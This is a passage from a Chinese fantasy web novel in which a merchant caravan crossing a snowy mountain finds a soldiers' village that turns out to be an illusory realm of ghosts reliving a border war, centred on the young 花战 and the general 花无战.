古青言在心里怪了一句,就见睿安从她身旁走过,肩头重重蹭了一下,径直带头往山路上去了。
只留下一个冷漠倔强的背影。
古青言不明所以,亲亲热热地挽住张辞晚的手也跟了上去。
越往上走,氧气稀薄事小,灵气也越来越少。一行人灵力运转渐渐缓阻,山路又十分崎岖,走得越来越吃力。
天地间仿佛只剩下永远没有尽头的路,和白茫茫一片的雪。视野所及之处,再看不到旁的颜色。
强烈的日光照耀在头顶上,古青言被刺激地眯起了眼,眼前有一瞬间发白。
一只宽大的手遮挡在她眼睛上方,光线稍微弱了一些。
古青言舒服许多,抬起眼,看到的依旧是睿安绷得紧紧的下颌和抿得紧紧的薄唇。
十分冷酷。
如果忽略他一直举着的手的话。
“多谢。”古青言道。
“少主。”绛桐气喘吁吁地从后面赶上来。
古青言觉得这姑娘真是辛苦,每次见她都是一副跑得上气不接下气的模样。
“少主,后面有几个倒下的,说是眼睛看不到了。”
倒下的那几人眼睛发红肿胀,还在控制不住地流眼泪。古青言几人过去时,他们正不停地揉眼睛,但显然无济于事,反倒是眼睛被揉得充血。
“是眼睛进了东西吗?”甄青竹连忙止住他们的动作,问。
那几人点点头:“像有沙子在眼睛里摩擦一样,一直有刺痛感。”
古青言凑过去仔细看了看,问道:“是否畏光?”
被问的人闻言抬头看了看,灼目的阳光照耀在眼皮上,那人被刺了一下,迅速低下了头:“是,光线一照,不适感更重一些。”
“那就是了。”古青言道,“雪盲症。”
众人都看向她,甄青竹若有所思:“我想起来了。先前族中有长辈提到过,人体长期暴露在雪地、冰原、沙漠等强光反射的环境中,就有可能出现视力下降甚至严重失明的情况,叫做雪盲症。”
“好在不是什么难治的病。”古青言从货车上取下来几匹干净的布,撕成布条,给患病的人系在眼睛上,对他们轻声说,“闭上眼睛休息一会。”
又对他们身旁还康健的同伴道:“劳烦你们牵着他们走。”
“把布条沾了冷水敷上,效果会更好一些。”张辞晚补充道。
可是这冰天雪地,荒无人烟的万里雪原上,就连路边的树枝都被冰封住了,生不起火,哪里去找流动的水浸泡布条?
古青言试着用灵火化雪,谁知那雪化作水没一会,还不待他们使用,就又被冻住了。只能一遍又一遍不停地生火化雪,收效甚微。
高山之上本就灵力迟缓,这样终究不是长远之计。
甄青竹下令让队伍在原地修正,睿安不动声色的接过了古青言手上灵火。
古青言直起有些酸软的腰,走到远离人群的地方喘了口气。
没有了人声嘈杂,她感觉脑子都清明了不少。
她把腰间的穹银袋扯下了,拿到耳边晃了晃,听到里面传来银子敲击的脆响声,十分悦耳,十分醒神。
古青言嘴角带起一点笑,心满意足地继续摇晃起袋子,觉得身心都得到了放松。
摇着摇着,忽然觉得有点不大对,怎么有水声?
袋子进水啦?
她赶紧扒开袋口,瞧了瞧。
还好。古青言松了一口气。
这宝贝若是被她弄坏了,十个她可都赔不起。
转念又觉得这可是财神殿的至宝,怎么可能会进水?真是太蠢了,她暗骂自己。
等等,所以是哪里来的水声?
她站起身,仔细去听。
似乎是从路那边传过来的。
她爬上一个雪坡,袅袅白雾带着湿气打在她的脸上,被风雪吹得干涸的皮肤立时欢欣起来?
这里怎么会有水雾?
顺着雾气飘来的方向探寻源头,潺潺的水流声越发清晰。
蜿蜒的溪水隐藏在山间,清澈奔腾的水流涌入顽固的冰层,又以势不可挡的速度钻出来。虽然只是几尺宽的一小支,但绵延不绝,生生不息。
古青言走近了,把手伸进去探了探。
是温热的。
这山中竟然有温泉!
她用手扬起一捧喂进嘴里,暖流从喉管滑进胃里,向全身发散。
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冻得僵硬的四肢百骸都重新焕发了生机。
古青言又喝了几口,觉得浑身暖洋洋的,没什么问题。拿出几只水壶灌满,又向人群中跑去:“这里有温泉。”
在雪原上呆了这些时日,众人乍一结束到温暖的泉水,都有些兴奋,跑到溪边去舀水喝,哪怕是感受感受温泉冒出来的热气也是好的。
几个伤员也被扶到了溪边,布巾沾了温水敷上眼睛,发出舒服的谓叹。
休整了一会。众人的状态都好了不少,几个伤员的脸上也恢复了血色。
古青言跟甄青竹一商量,决定就沿着这溪水走,饮用方便不说,再有其他人患上雪盲症,也好及时救治。
溪边的路并不难走,有了热气腾腾的泉水做一点点缀,众人的行进速度都快了不少。
或许是温泉给众人带来了一些好运,一缕炊烟从前方的雪坡上升起。
这个雪坡长达四百米,上面覆盖着一层厚厚的雪。上山以来他们走过不少雪坡了,但不同的是,此地的雪并不似先前走过的那些地方一样松软,一看就未被踏足过。这里的雪坚硬结识,几乎要凝结成冰。
“这山上难道还有村落不成?”甄青竹惊了。
古青言却不这样想:“这雪坡不像是被人踩实的。”
正常人的鞋底常年在地面上行走,多少会带上些污浊,踩在雪上,与雪水混合,便会化作泥水。
故而被人踩实的雪地多少都会带些或黑或灰或黄的污浊之色,并不会像眼前的雪地这般,无暇无垢。
众人听了古青言的话,怀着万分谨慎的心爬上了雪坡。所有人刀剑出鞘,随时准备应对突发的意外。
但这次,却似乎是古青言判断失误了。
雪坡之上,灯火点缀的村落赫然坐卧。丝丝缕缕的炊烟不断地从一个个烟囱中冒出来,在空中被冷空气冻成一朵朵云雾。饭菜的香气也随之飘了出来,让一众不食五谷的修行者都被勾出了馋虫。
村口扫雪的少年抬起头,看到他们,露出微笑。明眸皓齿,朝气蓬勃:“有朋自远方来,不亦说乎。”
是个有文化的少年。
“欢迎来到守边村。”有文化的少年如是说道。
“手边村?”甄青竹上前胡扯,“这村子建在这么高的地方,谁的手能伸这么高啊?”
少年保持微笑:“不是‘手边村’,是‘守边村’。‘守卫边疆’的‘守’,‘守卫边疆’的‘边’。”
甄青竹一怔:“是这个意思啊。”她有些尴尬地笑:“不好意思啊,我头一次来。”
“没关系。”少年明媚又温和,“人不知而不愠,不亦君子乎。”
“少年你文采不错啊。”甄青竹哈哈的笑,跟少年套近乎:“日后参加科举,定能为你们植妖族朝廷添一位贤臣。”
被夸奖的少年并不骄傲,反倒是摇了摇头:“我并不打算参加科举。”
“那想必是要参加武举了。”古青言猜测道,声音并不大,本是在与张辞晚耳语。
谁知少年耳力过人,听着了,眼睛一下子亮了起来:“正是!姑娘如何得知我的志向?”
37. 尸陀林(四)
甄青竹打量了一下少年的细胳膊细腿,质疑不言而喻。
好在少年没有注意,全心全意地等着古青言的答案。
古青言背后胡乱猜测还被正主给听到了,一时有些悻悻。但人家既然问了出来,若是不答未免就不礼貌了:“方才见你清扫落雪,脚下生根,下盘稳重。握着这么大这么重的扫把还能挥洒自如,虎虎生风。故而有此猜测。”
“姑娘好眼力!”少年赞道,仿佛遇到了伯乐知己,“我叫花战。”
“‘花木兰’的‘花’。”少年并不在意自己的名,反倒是自豪地介绍着自己的姓,“我要像木兰上神一样征战沙场,报效家国!”
花木兰,人间赫赫有名的女将军,百年后功德圆满飞升上神。
花战说起她来眼中满是崇敬,滔滔不绝地讲起了女将军在沙场上的英勇事迹和坚毅品格,从村口到校场,一路全是他的声音,连甄青竹都插不进去话。
“小花儿,又在讲你的木兰上神了?”浑厚的嗓音调笑道。
花战脸一红,闭上嘴巴恭恭敬敬地向来人问了个好:“三叔,这是新到咱们村子的客人。”
这位三叔手里拎着一把半人高的大刀,穿着一身粗布紧身衣,但是却莫名给人一种身披铠甲的气势。
古青言越过三叔魁梧的身材看向他身后的校场。
说是校场,其实不过是村子里较宽敞平坦的一块地方。经年的雪被扫到四周,积累起一圈厚厚的雪墙。场子里用稻草简单扎了几个靶子,一排排穿着布衣的村农正拿着刀枪剑戟甚至是锄头锤子操练着,口号声整齐划一,气势如虹,看起来竟比正规的军队还要专业一些。
民兵竟也能训练出这种效果吗?
“客人从哪来?看着不像我们植妖族人。”三叔已经与几人寒暄了起来。
“我们是物妖族的商队,行商路过此地。队伍中有同伴在雪山上患上了雪盲症,行路不便,可否借贵地修正几日?”甄青竹介绍道。
三叔视线在他们身上扫了几圈,面上更加热情:“从物妖族一路过来可不容易,这一路辛苦了吧?”
“嗐。”甄青竹摆摆手,“我们走商的都是这样,赚的就是这几个辛苦钱,习惯了。”
三叔一边闲聊一边带着几人往里走,还叫来几个士兵帮他们拿行李。那两个健硕的小伙接过行李,在手上点了点,咧开嘴笑了:“挺轻的。”
两人交换了个眼神,在三叔的示意下往住的地方走了。绛铜和银雪带着商队一道去安置。
“我们叨扰贵地,该先拜会一下村长才是,不好失了礼数。”甄青竹被三叔领着转了一圈,得知他并不是村长,有此提议,“不知您可否引荐一下?”
“村长?”三叔愣了一下,眉头皱起,似乎是在努力思索着什么。想了好半天,才恍然大悟:“我们这里没有村长,只有将军。我们将军你们应该已经见过了吧?”
甄青竹一脸疑问,还转过头来向古青言确认。
古青言摇摇头,他们入村以来。除了那些操练的热火朝天的村民,便只见过花战和三叔两个人。
“我们将军就在那呢。”三叔指了指上空,村口的方向。
只见村子大门旁,赫然矗立着一座土铸的高塔。
刚刚进来的时候,那里有高塔吗?
古青言迅速用神力探查了一下自己的大脑,确保自己记忆完整,没有什么被幻术妖术篡改过的痕迹。
奇了怪了,难道真是方才没注意?
她眯起眼睛眺望那座塔,之间一道若隐若现的身影出现在塔上,白色的披风飘扬,长长的高马尾尽显英气。银白色的战甲与太阳光影交叠,十分夺目。
虽然看不太清,但定是位英姿飒爽,气宇轩昂的少年将军。
“将军带了几个兵到塔楼上巡防去了,防止有敌军悄悄潜过来偷袭。”
三叔一句话,让原本还在欣赏将军英姿的古青言霎时寒毛都立了起来。
这荒山野岭,万里雪原,连草木都没有,哪里来的敌军?
甄青竹也眼睛瞪得圆圆的,与古青言对视一眼,不敢接话。
“都演练起来啊兄弟们!”不知是那位声音洪亮的小兵喊了一声。
古青言忽然又觉得能动了,长吁了一口气。
原来是演练啊。
“三叔。”花战欢喜的声音传来,“你看这是刚才那位姐姐送给我的披风。”
他跑到几人面前,身上多了一件赤红的披风,张开双臂高兴地展示它。
“怎么样,是不是又威风又霸气?”赤色的披风随着他的动作飞扬,少年身体欣长。
古青言莫名觉得这一幕有些熟悉,想回头再看一眼。
高塔之上,哪里还有将军的影子?
三叔却说:“我们将军一上了塔就不知何时才能下来呢。不如先让小花儿带你们到村里集市上逛一逛。不过我们这地方小,集市上也没什么好东西,贵客们可别见怪。”
花战又羞又恼:“三叔,都说了多少次了不要叫我小花儿。”
三叔不以为意:“你从小不都这么叫的吗?”
他俨然一副邪恶大人的样子:“你们可别听这小子瞎吹。他姓花是因为他本体是朵花,被我们捡到的时候还没一个月大,又瘦又小,眼看就喘不上气了。我们想着贱名好养活,就给他起了个名字叫小花儿。”
“这小子大了好面子,就自己给自己编了一个由头,说是‘花木兰’的‘花’。”
“就是‘花木兰’的‘花’!”花战在旁边急得嚷嚷。
三叔很不走心地哄了两句:“好好好,是‘花木兰’的‘花’。我们小花儿打小习武就颇有天赋,还勤奋刻苦,将来长大了定也是个人人传颂的大将军。”
“您是他的养父?”古青言问。问完又觉得不对,若是养父怎么会叫“三叔”呢?
“不是。”三叔哈哈一笑,“是我们村子一块养大他的,吃百家饭。”
“那花小哥可有兄长?”古青言又问。
“没有。”三叔毫不犹豫,“捡到的时候就他一个。并蒂花妖是很难见到的。”
古青言不死心地又回头看了一眼。但或许是走的远了一些,那塔楼已经连轮
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廓都看不到了。
三叔回校场继续操练了,花战果真依言把他们带到了村子的集市上。
出乎意料的是,这集市很繁华。街边摆着的货摊虽然不多且十分简陋,都只用一块破布或是席子铺在地上。但每一个摊位前都围满了人,远远便能听到讨价还价的吆喝声。
卖家的口音与驾板车送他们上山的红脸大哥如出一辙,在声声鼎沸的买卖场上都清晰可辨。
但买家的口音却听起来十分嘈杂且多样,听起来不像本地人,而是来自各地。
甄青竹好热闹,立马找了个人最多的摊子挤了进去。随机,一声响彻天际的惊叫震散了人群:“哇趣!人参!!!灵芝!!!这么多!!!”
紧接着,一只金色的小圆团从古青言身上窜了下去,直奔甄青竹所在之地。
阿金看着满地大白菜一样的人参和灵芝,张口就是一咬。
甄青竹神色剧变,手疾眼快地把阿金从灵芝上扯下来:“不许咬。这么贵的东西咬坏了你赔得起吗?”
阿金发出叽叽的尖叫,不甘示弱,剧烈反抗。
甄青竹手指掐住阿金的脖子和嘴,阿金爪子扣住甄青竹的虎口手腕。
两个人......两只......一人一兽扭打在了一起。
周围人目瞪口呆者有,迅速远离者有,拍案叫绝者亦有。
兵荒马乱,丢人现眼。
古青言低着头,捂着脸,硬着头皮上前去,在众目睽睽之下,羞得无地自容,一手一个,又迅速退了回来。
把阿金塞回穹银袋中,把甄青竹……
“你去,打听打听这村子里的情况。”古青言扭头就走,“我先回住处了。”
甄青竹的办事效率还是很高的,没一会功夫就风风火火地回来了:“这地方确实叫守边村。”
“废话。”古青言忍不住。
甄青竹迅速将千字文删减至百字:“这里地处边疆,常年受交战地侵扰,故而无论男女老少都全民皆兵,青壮年更是要日日操练,时刻抵御外敌入侵。”
“虽说这里的确已经接近交战地,但这村子可是身处万里雪原之上,我们上来废了那么大功夫。动妖族是又多大的本事,多闲的功夫经常来打这里?”古青言脱口而出的质疑。
甄青竹摇摇头:“这里的人都是这么说的。”
古青言叹了口气:“你继续说。”
“集市上卖的那些人参和灵芝,都是溟白山产的。此地物产丰富且价格便宜,有不少药商都会千里迢迢赶过来采买药材。”
“且不说连溟白山都是最近才出现在地图上的,就是我们在山下的村镇打听时,也从未听说过此地物产丰富啊。”古青言觉得这地邪门,实在邪门。
她眼珠子一转,盯着甄青竹的手:“这是什么?”
甄青竹费力地把拖在地上的大麻袋扬起来:“人参和灵芝啊。这里的价格竟然只有外面的一般!我就都买下来了,等咱们出去转手一卖,又是好大一笔。”
古青言长叹,瘫倒。
再次醒来时,是在一片打杀声中。
38. 尸陀林(五)
古青言在黑暗中睁开眼,窗外火把摇曳,窗外脚步声层层叠叠,不少人来回奔波,没有在素白的窗纸上留下一道阴影。
披上外裳,推开门,一道身影一晃而过,险些撞得她一个踉跄。但那人却恍若未闻,急匆匆地往窗外跑。
这样跑着的人不止他一个,数不清有多少披着甲的人从村子的各个角落涌出来,嘴里叫喊着什么往同一个方向冲去。
古青言听清了,是“敌袭”。
睿安匆匆从远处过来,就住在隔壁的甄青竹和张辞晚也揉着惺忪的睡眼从房间出来。
“这是怎么了?”甄青竹打着哈欠问。
古青言环顾四周,来来往往的人并没有白日见到的熟面孔。
“我就住在村口右手边的那排房子里,你们有需要可以来找我!”少年炙热的声音在脑海中响起。古青言记得花战白日里好像曾这样说过。
“咱们去找花战问一问。”她道,率先往那边走去。
他们几人走到村口时,村里的青壮年基本都已经跑了出去,只留下一些老弱,但也已经全都从屋子里出来。
他们不慌不忙,很快在村口架起几口大锅,沸水烧开的蒸汽在夜色中格外浓重。煲汤烹肉的,煮纱弄药的,各司其职,有条不紊。
古青言找了一圈,没看到花战。
村里与他年纪相仿的少年都还留在村里,担任着砍柴烧火的重任,没道理花战跟了出去。
甄青竹拽住一个添水的少年:“请问花战在哪?”
少年看都没看她一眼,把手里的水瓢往甄青竹手里一塞:“什么花战?没看正忙着吗?你一个正值壮年的大姑娘,不出去助阵也就罢了,竟连帮着添水都不知道。”
说完少年就走了,水瓢还留在甄青竹手里,显然是把这个任务分派给她了的意思。
甄青竹举着瓢站在原地,难得有些手足无措。
一个中年人路过,拽住她的胳膊就走:“愣在这干什么?一会要赶不及了。”
“三叔?”甄青竹看清了她的脸。
三叔先是愣了好一会,半响才反应过来:“是客人呐?”
总算有个认识的人了。古青言走过去,她觉得,在夜色和火光的映衬下,三叔显得比白日里更苍老了许多。
“这是发生什么事了?”她问。
“嗐。”三叔摆手,“有敌军来袭。我们这常有这样的事,惊扰到客人们休息了,实在是对不住。”
他把水瓢从甄青竹手里接过来:“交给我就行了,客人们快回去休息。”
说完他又眉头一皱,深深地看了外面一眼,道:“我看客人们还是也别睡了,收拾收拾行囊。若是一会城墙被攻破了,你们就从那跑。”
他拉住甄青竹往一棵树下看:“就是那。那有个地道,看到没有?”
那是一棵木棉树,没开一朵花。
白天时有这棵树吗?甄青竹有些恍惚?
古青言几人对视一眼。这地方还真的有敌袭?
三叔把古青言几个人推回了房间里,煞有其事地交代了怎么跑更快,哪里躲更安全后,又匆匆就要回到自己的岗位上。
古青言拦了他一下:“三叔,怎么没有看到花战?”
“花战?”三叔再一次愣住,似乎很久都没有听到这个名字了。
“早就没有这个人了。”他说,然后快步离去。
“总觉得哪里怪怪的。”古青言说。
“我们要跑吗?”甄青竹问。
古青言想了一下,摇摇头:“再看看。”
屋门被关上,几人在一种奇怪的氛围里静坐了一会,外面渐渐的静了,只剩下北风呼啸的声音。
门被再次打开时,天光已经有些微亮。三叔看起来更加疲惫:“敌人暂时退去了,诸位可以再睡个好觉。”
甄青竹松了口气:“多谢三叔,您也快去休息吧。瞧您累了一夜,好像老了几十岁似的。”
古青言没有休息,她走出房间,看到村口的那棵木棉树上开出几朵红色的花。
“这是我们将军种的树。”三叔见她似乎对这树感兴趣,解释道,“长了许久了就是不见开花。”
“那不是开了几朵吗?”古青言指着那树的枝头。
对上三叔奇怪的眼神,她转过头去,却见那花不知何时已经凋谢了,连几片落花都没有留下,仿佛从未开过一般。
天光已经大亮了。
再一回头,三叔也不知何时离去,空中落下纷纷扬扬的雪花。
“早上好啊!”少年充满朝气的声音带走一夜的阴云。花战拿着扫帚又扫起了雪,嘴里念叨着:“一日之计在于晨,我要好好练功,成为顶天立地的大将军。”
村里又飘起炊烟,校场上此起彼伏的呼号声远远就可以听到。一切都好像如昨日一般,但古青言觉得,村里的人好像比昨日多了许多。
“花战,你昨夜去哪了?”古青言想了想,还是走过去攀谈。
“昨夜?”花战不知道她为什么要这样问,“昨夜我就在房里睡觉啊。”
古青言看他神情不似作伪,陷入了思考。
“对了,三叔说今日请你们去他家里吃饭呢。”花战道,看了一眼远处,高兴起来,“你瞧,他来了。”
古青言闻声看去,三叔手里拿着两个大篮子,里面还冒着热气。篮子被三叔紧紧抱在怀里,生怕里面的东西冷了。
怎么只是片刻功夫,三叔又变得神采奕奕,连头上的白发都少了许多?
“今日婶婶做了肉蛋饼呢。”花战连手里的扫帚都顾不得了,扔下就冲三叔跑去,脑袋直往三叔怀里塞。
三叔躲了躲他:“去去去,这是给客人的。”
“好吧。”花战脑袋耷拉了一点,明显有些失望,“管不得今儿个有蛋又有肉的。”
三叔没好气地撇了撇他:“有你的份,找你婶婶拿去。”
少年又欢喜起来,帮三叔抱了一个篮子,兴高采烈地拿给古青言:“你快尝尝婶婶的手艺,那是连城里酒楼的大厨都比不上的。”
古青言手里被塞了一个肉蛋饼,巴掌大,热乎乎的,香气直往鼻子里钻。
花战一说起话来滔滔不绝:“不过婶婶可不经常下厨,平日里都是三叔在做。”
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说着,少年贼兮兮地看了三叔一眼,凑到古青言耳边小声说:“可难吃了,也不知婶婶怎么受得了他。”
没等古青言想好怎么回他的话,花战后脑勺就结结实实挨了一掌。
三叔没好气地骂:“有的吃就不错了,你还挑上了。就你这样,以后上了战场吃草皮树根的时候,我看你怎么哭。”
人高马大的糙汉子脸上红红的,也不知是冻的还是羞的。
被抓包的少年悻悻缩到了一边。
“姑娘你快尝尝。”三叔笑呵呵的,“你们商队人多,家里东西少,饼子做的小了些,你莫见怪。”
古青言看着手里的饼子,摇摇头:“不小了。”
三叔把两篮子肉蛋饼全都分给了商队,又把刚刚重新睡下的睿安,甄青竹和张辞晚三个提溜起来拽到了自己家里。
桌前放着一锅热气腾腾的汤,虽看不出是什么,但是里面光人参留有一整颗。旁边的小碟里是腌制好的咸菜,还有一大碗水煮灵芝。
这一餐……实在是大补啊。
古青言几人都是硬着头皮坐下的。
“快吃啊。”三叔太过热情,“你们婶婶的手艺很好的。”
几个人都没敢动筷子。甄青竹小声在古青言耳边哆嗦:“吃完这一顿,我们不会爆体而亡吧?”
古青言保持微笑,试图拖延:“三叔,怎么不见三婶呢?”
没想到,这一问又把三叔问住了。
古青言发现三叔的记性似乎不大好,好多事情都记不清楚,要很久才想得起来。
但这回,三叔却一直没能想起来。旁边的花战也是一副茫茫然的样子:“婶婶去哪了呢?”
“这些饭菜不是三婶做的吗?”甄青竹问。
“是啊。”三叔和花战斩钉截铁地答。
可是他们还是不知道三婶去了哪里。
几人更不敢动筷了。
“三婶……三婶……”花战和三叔念叨着,突然抱住脑袋神色痛苦。
古青言微微一惊,站起来想扶三叔:“您怎么了?”
她的指尖刚刚碰到三叔的发梢,三叔忽然又做直了身体,乐呵呵的:“姑娘,你快吃啊,怎么不吃呢?”
好像他方才从未思考过这么令人头痛的问题。
古青言不敢再问了,她坐下来,看到旁边已经开始冒冷汗的甄青竹和张辞晚,和一脸犹疑的睿安。她端起碗,尝了一口汤。
香气扑鼻的热汤在进入口腔的一瞬间失去了所有味道,液体顺着喉管滑下去,然后就……没有了。
消失在了身体里,腹中好像从未进入过任何食物。
她缓了缓,在三叔和花战殷切的眼神下,微笑:“很好喝。”
对上甄青竹“我读书少你别骗我”的狐疑眼神,她说:“吃饭吧。”
三叔和花战笑呵呵地,不停地给他们夹菜盛汤,还讲一些笑话调剂滋味。
一顿饭吃的有声有色又没滋没味。好容易熬过去,想象中因大补爆体而亡的惨事没有发生,甄青竹摸着肚子对古青言说:“言言,我怎么感觉跟没吃似的呢?”
39. 尸陀林(六)
“言言,我总觉得这地方叫人瘆得慌,咱们还是尽早离去吧。”甄青竹说着往古青言跟前缩了缩。
古青言深以为然,道:“我们去看看那几个患了雪盲症的人好些了没有。若是可以,我们今日便走。”
谁知到了伙计们的住所,就看见绛铜迎头撞上来:“少主,不知为何昨日用了药却不见起效,我正要去请示您看能不能换回先前我们自己的药?”
先前给大家用的药是张辞晚自己调配的。因她也是头次遇到这种患者,难免生疏,于是昨日到了守边村里,就换了三叔为他们介绍的几位大夫,据说对治疗雪盲症颇有心得。张辞晚也看了那方子,的确十分高明。
“药材用的是我们自己带的,还是昨日才在集市上买的?”古青言问。
“药材是那几位大夫自己带的,想必与集市上的药一般也是溟白山上天生地养的吧。”绛铜回答。
古青言想到方才那顿毫无饱腹感的饭,看向张辞晚:“阿晚,你用我们自己带的药,按照昨日几位大夫给的药方试一试可好?”
张辞晚虽然不明所以,但还是照做。
“是溟白山上的药材有何不妥吗?”睿安走到古青言身边问。
“只是有些猜测。”古青言没说是什么。
看这情形,他们今日是走不了了。
昨日未能拜访那位将军,今日既然还要再逗留,古青言几人便又去寻了一趟。
将军住在村口右手边的那排房子里,过去的时候一个年轻的勤务兵接待了他们。
一问才知,那将军果真勤勉,竟又到塔楼上巡防去了。古青言几人左右无事,便被热情的勤务兵留在将军的住所中等待。
这一等,便等到了日落西山,天空再次被夜幕遮蔽的时候。
白日里接待他们的勤务兵不知跑去了哪里,古青言几人正是走也不是留也不是,屋门“吱呀”一声被推开了。
高大的身影从门缝挤进来,抖落一地风雪。
他抬起头来的那一刻,几人都齐刷刷地愣住了。
太像了!这人太像他们在村口见到的少年花战了!
几乎如出一辙的眉眼,笑起来弯弯的嘴角......若不是明显属于成年男子的高大声量和通身沉稳杀伐的气度,他们几乎都要以为这是同一个人!
“你们好啊。”青年笑着同他们打招呼,“我是这里的主事人,他们都叫我一声将军。”
古青言几人还愣着,没回过神来。
“花无战,幸会。”青年见几人不说话,拱了拱手,又正式地介绍了一遍自己,“听三叔说有远客到访,只是忙于军务,此时才得空。叫诸位等了这么久,真是失礼了。”
听到他的名字,几人更觉得诧异。
这两人连名字都很像。只是“战”与“无战”,却是截然相反的两个意思。
“将军的‘花’也是‘花木兰’的‘花’吗?”古青言忍不住问。
花无战眼中露出惊讶:“正是。”
甄青竹觉得这题她会了:“将军如今带着村民们守卫家园,已然同木兰上神一般是个征战沙场,报效家国的英雄人物了。”
没成想花无战却眼神一黯,摇摇头:“木兰上神原本可以承欢父母膝下,也是个‘对镜贴花黄’的爱美女儿家,却因无端而起的战祸不得不背井离乡,披甲作战。沙场十二载,即便功成归来,战友牺牲,父母年迈,年华不再,又有什么意义呢?”
这似乎勾起了他什么伤心事,但他没有伤神太久,很快又打起精神来:“抱歉,怎么说到这些丧气事了。听闻几位客人是从物妖族过来的,哪里远离战争,和平安定,真是叫人羡慕。”
“真希望有一日,我也能同木兰上神一般,卸甲归田。愿驰千里足,送儿还故乡。”
“无妨无妨。”甄青竹笑着宽慰,“将军的见解十分独到,小女受教了。”
“倒是与昨日我们在村口见到的那位姓花的小友想法截然相反呢。”古青言说着,看向花无战的眼睛。
那眼里划过一丝茫然:“姓花?这里只有我一个人姓花。姑娘怕不是记错了。”
甄青竹怪道:“怎么可能?我们都见到了,他叫花……”
尖锐急促的号角声打断了甄青竹的话。
紧接着,外面的脚步声纷杂了起来。花无战来不及再跟他们多说一句,抄起靠在门边的长剑就冲了出去。本就不大结实的木门被随手摔得晃荡几下,摇摇欲坠。
古青言没怎么犹豫就跟了上去。外面灯火通明,人影婆娑,是与昨日夜里一般无二的景象。
马啼嘶鸣之声划破夜空,雪白的骏马从远处奔驰而来,花无战纵身一跃,素白的披风被风卷起,像一面飘扬的旗帜。
长剑高举,青年声音铿锵激昂:“山河营的将士们,随我出城迎战!”
“是!”震彻的响应似乎可以撼动整座溟白山。
“睿安,边境战场的正规军,可有这般气魄?”古青言第一次见到军队整装待发的气势,有些撼然。
“这般一呼百应,斗志昂扬的队伍,即便是放在正规军中,亦是翘楚。”睿安站在古青言身侧,眼中似有追忆,“说起来,边境战场上也有一支山河营,乃是植妖族军队精锐中的精锐,战功赫赫,无人可敌。领军的将领似乎也姓花。”
“看来花家多英豪。”古青言看着马上的青年,“若来日花战长成,定也是这般模样。”
“可惜我只是听闻,一直未能有幸亲眼见识过这支精锐之师的风姿。”睿安有些遗憾。
山门大开,青年一马当先,冲出门去。马蹄践踏,扬起凌冽的风雪。
大门关上的那一刻,古青言闪身追了出去。
门外狂风大作,被飓风刮起的飞雪几乎遮蔽了整个天空。
而花无战率领人马,没有任何犹豫地一头扎进了风雪中。喊杀声与刀剑的撞击声被暴风放大又吞没,此起彼伏。
古青言跟进暴风雪中,花无战带领的人马已经与什么东西厮杀了起来。
之所以说是什么东西而不是确切的敌人,是因为古青言即便身处这片战场上,也根本没有看到他们的敌人!
这里只有无边无际的风雪和花无战一行人。
他们到底在跟谁厮杀?
不待她多想,“砰”,身旁的士兵似乎被什么东西击中,身体后仰,瞳孔涣散,似乎马上就要倒下。
古青言下意识伸手去抓。
割骨的寒风钻入袖口,眼前还保持着挥刀姿势的人碎了。
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>碎成了漫天风雪,然后无影无踪,消失在天地之间。
古青言伸出去的手僵住了,整个人也僵住了。
“姑娘小心!”坚实的身躯出现在她的身前,青年宽厚的背上银甲破裂,出现一道狰狞的道口。
没有温度的手抓住了她的手腕,重重一扯,古青言被带上马背。
身下马蹄踢踏,震得她大脑嗡鸣。
前方村子的矮墙不知何时变成了高耸入云的城墙,一股巨力将她甩了上去。
“战场凶险,姑娘可别再掉进来了。”马上的青年脸上鲜血淋漓,头也不回地再度扎进了暴风雪中。
破空声传来,睿安也飞到了城墙上。
“你没事吧?”他看古青言脸色不对,有些担忧。
古青言摇摇头,眼睛眨也不眨的盯着下方的战场。
一个似乎只有一方将士的战场。
风雪越来越大,一个又一个浴血的士兵消失在风暴里,化作片片雪花,随风肆虐。
“他们难不成都是雪妖?”睿安问。
“不。”古青言又摇了摇头。先前送他们上山的红脸大哥化雪时,她也以为他们是雪妖。
但近日种种见闻和今日这片怪异而惨烈的战场,让她不得不打消了从前的想法。
她有了新的猜测。
一个让人不太能接受的猜测。
“他们是亡魂。”
而整座溟白山,就是一座巨大的尸陀林。
只不过这座尸陀林更加高明,连古青言都一时没能看出破绽。
为什么他们在溟白山脚下绕了大半日都没有看到山的影子,天一黑却立时出现在了眼前?
因为亡魂只在夜晚行动。
为什么乘板车上山不过盏茶时间,天却已然大亮?
因为整座溟白山并不处在真实的世界里,而是自成天地。
为什么从前的地图上没有溟白山?
因为溟白山本就不存在。
这里是假的,这里的一切都是假的!
食物是假的,所以吃下去不会有饱腹感;
药材是假的,所以根本无法治愈真正的伤病;
整个守边村都是假的,所以村口被踩实的雪没有一丝泥泞,因为根本没有真正的人踏足过这里。
三叔只是一个亡魂,所以他时而苍老时而又正值壮年,他的年纪取决于此刻处在他生前的哪一段记忆。
此刻在战场厮杀的将士是亡魂,所以古青言看不到他们的敌人,他们在跟记忆中的敌军厮杀。
至于花战……古青言望向身后。城墙之内,一群半大的少年围在一起,烧水煮药,哪里有花战的影子?
古青言又看向城墙之外,浴血的青年长甲在身,策马奔腾,俊逸的脸上没有一丝表情,只剩下眼中坚不可摧的信念。这座城被他牢牢地护在身后,不沾半点风霜。
如果说白天是三叔壮年时的记忆,夜晚是他两鬓斑白时的记忆。那么只出现在三叔壮年时的花战,和只出现在三叔年迈时的将军,或许就是一个人呢?
至于花战到花无战的转变,其中经历了多少,只有故去的人才会知道。
风雪呼啸的声音封闭了古青言所有的感官,策马的将军,最终也湮灭了。
40. 尸陀林(七)
“沿着这条道一直走,不出一日,便看得到溟白山顶了。”三叔笑眯眯的指了指。
自从知道三叔不过是徘徊在天地间的亡魂,古青言看着他再没了从前的亲切,心中只萦绕着一抹淡淡的悲戚。
商队向前走,古青言回头看。三叔留在那,不停的向他们挥手,告别。
雪风席卷而过,三叔的身影融入其中。
故去的人永远留在那里,留在雪中。
而活着的人,还要继续向前,寻找光明,带去光明。
风雪里,一道身影一瘸一拐地朝他们走来。左臂缺失,右臂垂着,手里紧握住一把长剑。但似乎也抬不起来了。
他走的万分艰难,素白的披风被血染得斑斓,拖在地上。但即便是这样,也不肯停下。
风雪太大,古青言看不清他的表情。又或许,他本就没什么表情。残破的身躯不支持他有太多的情绪和思考,此刻他只想朝着这个方向一直走下去。
走到他的故乡去。
英魂归故里。
张辞晚不知内情,终是不忍,上前几步想要扶他一把。但走进了,瘸腿的将军却刹那间消失在了风雪里。
他回到他的故乡了吗?
他们没有在守边村看到这个形态的他。
那大概是没有吧……
